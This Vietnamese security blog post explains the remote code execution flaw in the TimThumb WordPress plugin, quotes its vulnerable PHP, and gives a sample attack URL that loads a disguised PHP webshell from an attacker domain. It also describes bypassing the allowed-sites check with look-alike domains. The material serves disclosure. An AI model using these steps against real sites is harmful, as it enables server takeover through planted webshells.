Lỗi nghiêm trọng của Wordpress TimThumb Plugin ảnh hưởng tới rất nhiều blog

TimThumb

Chức năng: TimThumb là một plugin khá phổ biến trong giới wordpress dùng để tạo các ảnh thumb cho bài viết. Cách sử dụng đơn giản, với chỉ một file php duy nhất.

 HTML example: <img src="/scripts/timthumb.php?src=/images/whatever.jpg&w=150&h=200&zc=1" alt="" />
TimThumb cũng có tính năng tạo cache để việc xem lại ảnh trở nên nhanh hơn. Chính vì sự dễ dùng và hiệu quả như vậy, TimThumb thường được tích hợp sẵn trong rất nhiều premium templates nổi tiếng cũng như được tích hợp trong các plugin khác chuyên về sử lý ảnh, gallery của wordpress.

WordPress TimThumb Plugin - Remote Code Execution

Version mắc lỗi: Từ 1.15 đến 1.32 (đã check). Version 1.33 không bị vì không lưu file cache dưới đuôi .php
Cách xem version của phiên bản TimThumb.
Tìm đoạn code có dạng sau ở ngay đầu file:
define ('VERSION', '1.15');                    // version number (to force a cache refresh)

Nguyên nhân mắc lỗi: TimThumb lưu cache file sau khi kiểm tra tính hợp lệ của MIME-TYPE, nhưng ta hoàn toàn có thể tạo 1 file PHP WebShell có MIME-TYPE là của file ảnh để đánh lừa.
Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)
http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php
Stored file on the Target: (This can change from host to host.)
http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
Download PHP WebShell có MIME-TYPE của file GIF

Ngoài ra bạn cũng hoàn toàn có thể tự chèn webshell vào trong file ảnh của mình bằng cách sử dụng công cụ edjpgcom

AllowedSites

Có một điểm bạn lưu ý để khai thác thành công lỗi này mà tôi chưa thấy blog nào nói rõ đó là vấn đề AllowedSites. Thực ra TimThumb chỉ cho phép tạo cache và thumb với các file ảnh trên chính host của blog của bạn. Vì thế bạn sẽ không thể ... Remote Execute được.


Ngay đầu file có đoạn kiểm tra src

// sort out image source
$src = get_request ('src', '');
if ($src == '' || strlen ($src) <= 3) {
    display_error ('no image specified');
}

// clean params before use
$src = clean_source ($src);
Trong đó
function clean_source ($src) {

    $host = str_replace ('www.', '', $_SERVER['HTTP_HOST']);
    $regex = "/^((ht|f)tp(s|):\/\/)(www\.|)" . $host . "/i";

    $src = preg_replace ($regex, '', $src);
    $src = strip_tags ($src);
    $src = check_external ($src);

    // remove slash from start of string
    if (strpos ($src, '/') === 0) {
        $src = substr ($src, -(strlen ($src) - 1));
    }

    // don't allow users the ability to use '../'
    // in order to gain access to files below document root
    $src = preg_replace ("/\.\.+\//", "", $src);

    // get path to image on file system
    $src = get_document_root ($src) . '/' . $src;

    return $src;

}
Dễ dàng nhận thấy đoạn code trên sẽ trảm phần http:// (hoặc ftp) đi, vì thế bạn sẽ không thể khai thác từ xa.
Nhưng hãy chú ý hàm check_externa.

TimThumb lại cho phép
//     external domains that are allowed to be displayed on your website
$allowedSites = array (
    'flickr.com',
    'picasa.com',
    'blogger.com',
    'wordpress.com',
    'img.youtube.com',
);

Trong khi đoạn code kiểm tra allowedSites lại không chặt chẽ. Bạn hoàn toàn có thể đăng ký các domain dạng: xxxflickr.com , yyyyblogger.com  ... để qua mặt


Exploit Video

Note:
1. Việc kiểm tra allowsite là không chặt chẽ do sự đa dạng của subdomain.
2. MIME-TYPE có thể làm giả

0 comments:

Đăng nhận xét

 

© Security Warrior
Revolution Elements by Blozard. Original WP theme by Jason Schuller | Distributed by Deluxe Templates